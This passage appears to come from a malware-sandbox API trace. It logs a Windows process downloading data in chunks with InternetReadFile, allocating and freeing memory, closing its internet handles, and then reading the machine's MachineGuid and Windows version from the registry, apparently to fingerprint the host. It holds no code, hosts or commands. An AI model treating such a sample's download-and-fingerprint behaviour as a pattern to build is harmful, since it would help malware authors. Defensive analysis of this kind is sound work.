(lpAddress=0x35b0000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.463] VirtualFree (lpAddress=0x3340000, dwSize=0x270000, dwFreeType=0x4000) returned 1 [0055.478] VirtualFree (lpAddress=0x3340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.493] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1005b) returned 1 [0055.493] VirtualAlloc (lpAddress=0x3864000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3864000 [0055.496] VirtualFree (lpAddress=0x35bc000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0000, flAllocationType=0x2000, flProtect=0x1) returned 0x3940000 [0055.496] VirtualAlloc (lpAddress=0x3940000, dwSize=0x1d8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3940000 [0055.500] VirtualAlloc (lpAddress=0x3878000, dwSize=0xc8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3878000 [0055.502] VirtualFree (lpAddress=0x3874000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.522] VirtualFree (lpAddress=0x36b0000, dwSize=0x1b0000, dwFreeType=0x4000) returned 1 [0055.534] VirtualFree (lpAddress=0x35d4000, dwSize=0xdc000, dwFreeType=0x4000) returned 1 [0055.538] VirtualFree (lpAddress=0x35b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.542] VirtualAlloc (lpAddress=0x36b0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x36b0000 [0055.543] VirtualFree (lpAddress=0x3860000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.544] VirtualAlloc (lpAddress=0x3b18000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b18000 [0055.544] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.545] VirtualAlloc (lpAddress=0x36c4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x36c4000 [0055.546] VirtualFree (lpAddress=0x36b0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.547] VirtualAlloc (lpAddress=0x3b28000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b28000 [0055.547] VirtualFree (lpAddress=0x36d4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.548] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.548] VirtualAlloc (lpAddress=0x36d4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x36d4000 [0055.549] VirtualFree (lpAddress=0x36c0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.549] VirtualAlloc (lpAddress=0x3b38000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b38000 [0055.549] VirtualFree (lpAddress=0x36e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.550] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.550] VirtualAlloc (lpAddress=0x36e4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x36e4000 [0055.551] VirtualFree (lpAddress=0x36d0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.551] VirtualAlloc (lpAddress=0x3b48000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b48000 [0055.552] VirtualFree (lpAddress=0x36f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.552] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.552] VirtualAlloc (lpAddress=0x36f4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x36f4000 [0055.553] VirtualFree (lpAddress=0x36e0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.554] VirtualAlloc (lpAddress=0x3b58000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b58000 [0055.554] VirtualFree (lpAddress=0x3704000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x18d0) returned 1 [0055.555] VirtualFree (lpAddress=0x36f0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.555] VirtualAlloc (lpAddress=0x3b68000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b68000 [0055.555] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.596] VirtualAlloc (lpAddress=0x36b0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x36b0000 [0055.597] VirtualFree (lpAddress=0x3700000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.598] VirtualAlloc (lpAddress=0x3b6c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b6c000 [0055.599] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xcd90) returned 1 [0055.600] VirtualAlloc (lpAddress=0x36c4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x36c4000 [0055.601] VirtualFree (lpAddress=0x36b0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.602] VirtualAlloc (lpAddress=0x3b7c000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b7c000 [0055.602] VirtualFree (lpAddress=0x36d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.604] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xe9d4) returned 1 [0055.605] VirtualAlloc (lpAddress=0x36d0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x36d0000 [0055.607] VirtualFree (lpAddress=0x36c0000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.608] VirtualAlloc (lpAddress=0x3b88000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b88000 [0055.608] VirtualFree (lpAddress=0x36dc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.610] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xfaf0) returned 1 [0055.610] VirtualAlloc (lpAddress=0x36dc000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x36dc000 [0055.612] VirtualFree (lpAddress=0x36cc000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.612] VirtualAlloc (lpAddress=0x3b98000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3b98000 [0055.613] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x3908) returned 1 [0055.613] VirtualFree (lpAddress=0x36d8000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.614] VirtualAlloc (lpAddress=0x3ba4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3ba4000 [0055.614] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.638] VirtualAlloc (lpAddress=0x36b0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x36b0000 [0055.639] VirtualAlloc (lpAddress=0x3ba8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3ba8000 [0055.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x40) returned 1 [0055.640] VirtualFree (lpAddress=0x36b0000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.641] VirtualAlloc (lpAddress=0x0, dwSize=0x340000, flAllocationType=0x2000, flProtect=0x1) returned 0x3340000 [0055.641] VirtualAlloc (lpAddress=0x3340000, dwSize=0x340000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0055.686] VirtualFree (lpAddress=0x3940000, dwSize=0x274000, dwFreeType=0x4000) returned 1 [0055.697] VirtualFree (lpAddress=0x3878000, dwSize=0xc8000, dwFreeType=0x4000) returned 1 [0055.700] VirtualFree (lpAddress=0x36b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x1005b) returned 1 [0055.706] VirtualAlloc (lpAddress=0x3940000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3940000 [0055.707] VirtualFree (lpAddress=0x3bb4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.707] VirtualAlloc (lpAddress=0x3680000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x3680000 [0055.707] VirtualAlloc (lpAddress=0x3680000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3680000 [0055.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.708] VirtualAlloc (lpAddress=0x3690000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3690000 [0055.709] VirtualFree (lpAddress=0x3940000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.710] VirtualFree (lpAddress=0x3940000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.715] VirtualAlloc (lpAddress=0x0, dwSize=0x360000, flAllocationType=0x2000, flProtect=0x1) returned 0x3780000 [0055.715] VirtualAlloc (lpAddress=0x3780000, dwSize=0x284000, flAllocationType=0x1000, flProtect=0x4) returned 0x3780000 [0055.721] VirtualAlloc (lpAddress=0x36a4000, dwSize=0xdc000, flAllocationType=0x1000, flProtect=0x4) returned 0x36a4000 [0055.722] VirtualFree (lpAddress=0x36a0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.750] VirtualFree (lpAddress=0x3680000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.751] VirtualFree (lpAddress=0x3340000, dwSize=0x340000, dwFreeType=0x4000) returned 1 [0055.778] VirtualFree (lpAddress=0x3340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.785] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.785] VirtualAlloc (lpAddress=0x3a04000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a04000 [0055.786] VirtualFree (lpAddress=0x368c000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.786] VirtualAlloc (lpAddress=0x0, dwSize=0x370000, flAllocationType=0x2000, flProtect=0x1) returned 0x3ae0000 [0055.787] VirtualAlloc (lpAddress=0x3ae0000, dwSize=0x2a8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3ae0000 [0055.793] VirtualAlloc (lpAddress=0x3a18000, dwSize=0xc8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a18000 [0055.794] VirtualFree (lpAddress=0x3a14000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.819] VirtualFree (lpAddress=0x3780000, dwSize=0x280000, dwFreeType=0x4000) returned 1 [0055.832] VirtualFree (lpAddress=0x36a4000, dwSize=0xdc000, dwFreeType=0x4000) returned 1 [0055.836] VirtualFree (lpAddress=0x3680000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.839] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.839] VirtualAlloc (lpAddress=0x3780000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3780000 [0055.840] VirtualFree (lpAddress=0x3a00000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0055.841] VirtualAlloc (lpAddress=0x3d88000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d88000 [0055.841] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.842] VirtualAlloc (lpAddress=0x3794000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3794000 [0055.843] VirtualFree (lpAddress=0x3780000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.843] VirtualAlloc (lpAddress=0x3d98000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d98000 [0055.843] VirtualFree (lpAddress=0x37a4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.844] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.844] VirtualAlloc (lpAddress=0x37a4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37a4000 [0055.845] VirtualFree (lpAddress=0x3790000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.845] VirtualAlloc (lpAddress=0x3da8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3da8000 [0055.846] VirtualFree (lpAddress=0x37b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.847] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.847] VirtualAlloc (lpAddress=0x37b4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37b4000 [0055.848] VirtualFree (lpAddress=0x37a0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.848] VirtualAlloc (lpAddress=0x3db8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3db8000 [0055.848] VirtualFree (lpAddress=0x37c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.849] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.849] VirtualAlloc (lpAddress=0x37c4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37c4000 [0055.850] VirtualFree (lpAddress=0x37b0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.850] VirtualAlloc (lpAddress=0x3dc8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3dc8000 [0055.851] VirtualFree (lpAddress=0x37d4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x18d0) returned 1 [0055.852] VirtualFree (lpAddress=0x37c0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.852] VirtualAlloc (lpAddress=0x3dd8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3dd8000 [0055.852] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.893] VirtualAlloc (lpAddress=0x3780000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x3780000 [0055.895] VirtualFree (lpAddress=0x37d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.895] VirtualAlloc (lpAddress=0x3ddc000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3ddc000 [0055.896] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xc228) returned 1 [0055.897] VirtualAlloc (lpAddress=0x3794000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3794000 [0055.898] VirtualFree (lpAddress=0x3780000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.899] VirtualAlloc (lpAddress=0x3dec000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3dec000 [0055.900] VirtualFree (lpAddress=0x37a0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.901] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xd8b8) returned 1 [0055.901] VirtualAlloc (lpAddress=0x37a0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x37a0000 [0055.903] VirtualFree (lpAddress=0x3790000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.904] VirtualAlloc (lpAddress=0x3df8000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3df8000 [0055.904] VirtualFree (lpAddress=0x37ac000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.906] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xd304) returned 1 [0055.906] VirtualAlloc (lpAddress=0x37ac000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x37ac000 [0055.907] VirtualFree (lpAddress=0x379c000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.908] VirtualAlloc (lpAddress=0x3e04000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e04000 [0055.909] VirtualFree (lpAddress=0x37b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x832c) returned 1 [0055.909] VirtualAlloc (lpAddress=0x37b8000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x37b8000 [0055.910] VirtualFree (lpAddress=0x37a8000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0055.910] VirtualAlloc (lpAddress=0x3e10000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e10000 [0055.911] VirtualFree (lpAddress=0x37c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.911] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.943] VirtualAlloc (lpAddress=0x37c0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37c0000 [0055.943] VirtualFree (lpAddress=0x37b4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0055.944] VirtualAlloc (lpAddress=0x3e1c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e1c000 [0055.944] VirtualFree (lpAddress=0x37d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.946] VirtualAlloc (lpAddress=0x37d0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37d0000 [0055.948] VirtualFree (lpAddress=0x37bc000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.951] VirtualAlloc (lpAddress=0x3e2c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e2c000 [0055.952] VirtualFree (lpAddress=0x37e0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.954] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x10064) returned 1 [0055.954] VirtualAlloc (lpAddress=0x37e0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x37e0000 [0055.955] VirtualFree (lpAddress=0x37cc000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.955] VirtualAlloc (lpAddress=0x3e3c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e3c000 [0055.956] VirtualFree (lpAddress=0x37f0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0055.957] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x9abc) returned 1 [0055.957] VirtualAlloc (lpAddress=0x37f0000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x37f0000 [0055.957] VirtualFree (lpAddress=0x37dc000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.958] VirtualAlloc (lpAddress=0x3e50000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x3e50000 [0055.958] VirtualAlloc (lpAddress=0x3e50000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e50000 [0055.958] VirtualAlloc (lpAddress=0x3e4c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e4c000 [0055.959] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0xa599) returned 1 [0055.975] VirtualAlloc (lpAddress=0x3e54000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e54000 [0055.976] VirtualFree (lpAddress=0x37ec000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0055.976] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x3f50000 [0055.977] VirtualAlloc (lpAddress=0x3f50000, dwSize=0x358000, flAllocationType=0x1000, flProtect=0x4) returned 0x3f50000 [0055.984] VirtualAlloc (lpAddress=0x3e60000, dwSize=0xf0000, flAllocationType=0x1000, flProtect=0x4) returned 0x3e60000 [0056.019] VirtualFree (lpAddress=0x3ae0000, dwSize=0x370000, dwFreeType=0x4000) returned 1 [0056.034] VirtualFree (lpAddress=0x3a18000, dwSize=0xc8000, dwFreeType=0x4000) returned 1 [0056.038] VirtualFree (lpAddress=0x3ae0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.045] VirtualFree (lpAddress=0x3780000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.052] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x17d770, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x18e658 | out: lpBuffer=0x17d770*, lpdwNumberOfBytesRead=0x18e658*=0x0) returned 1 [0056.052] VirtualFree (lpAddress=0x3e50000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0056.052] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0056.052] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0056.053] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0056.054] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x3340000 [0056.054] VirtualAlloc (lpAddress=0x3340000, dwSize=0x448000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0056.065] VirtualFree (lpAddress=0x42a4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.099] VirtualFree (lpAddress=0x3340000, dwSize=0x444000, dwFreeType=0x4000) returned 1 [0056.121] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x3790000 [0056.121] VirtualAlloc (lpAddress=0x3790000, dwSize=0x440000, flAllocationType=0x1000, flProtect=0x4) returned 0x3790000 [0056.130] VirtualAlloc (lpAddress=0x3788000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3788000 [0056.175] VirtualAlloc (lpAddress=0x3340000, dwSize=0x444000, flAllocationType=0x1000, flProtect=0x4) returned 0x3340000 [0056.185] VirtualFree (lpAddress=0x3bcc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.215] VirtualFree (lpAddress=0x3790000, dwSize=0x43c000, dwFreeType=0x4000) returned 1 [0056.234] VirtualFree (lpAddress=0x3788000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.234] VirtualFree (lpAddress=0x3790000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.245] VirtualAlloc (lpAddress=0x0, dwSize=0x450000, flAllocationType=0x2000, flProtect=0x1) returned 0x3790000 [0056.245] VirtualAlloc (lpAddress=0x3790000, dwSize=0x43c000, flAllocationType=0x1000, flProtect=0x4) returned 0x3790000 [0056.254] VirtualAlloc (lpAddress=0x3788000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3788000 [0056.313] VirtualAlloc (lpAddress=0x3bcc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bcc000 [0056.314] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e57c | out: phkResult=0x18e57c*=0x38c) returned 0x0 [0056.314] RegQueryValueExW (in: hKey=0x38c, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e584, lpData=0x18e37c, lpcbData=0x18e580*=0xfe | out: lpType=0x18e584*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e580*=0x4a) returned 0x0 [0056.314] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cchWideChar=36, lpMultiByteStr=0x18d5a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpUsedDefaultChar=0x0) returned 36 [0056.314] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e590 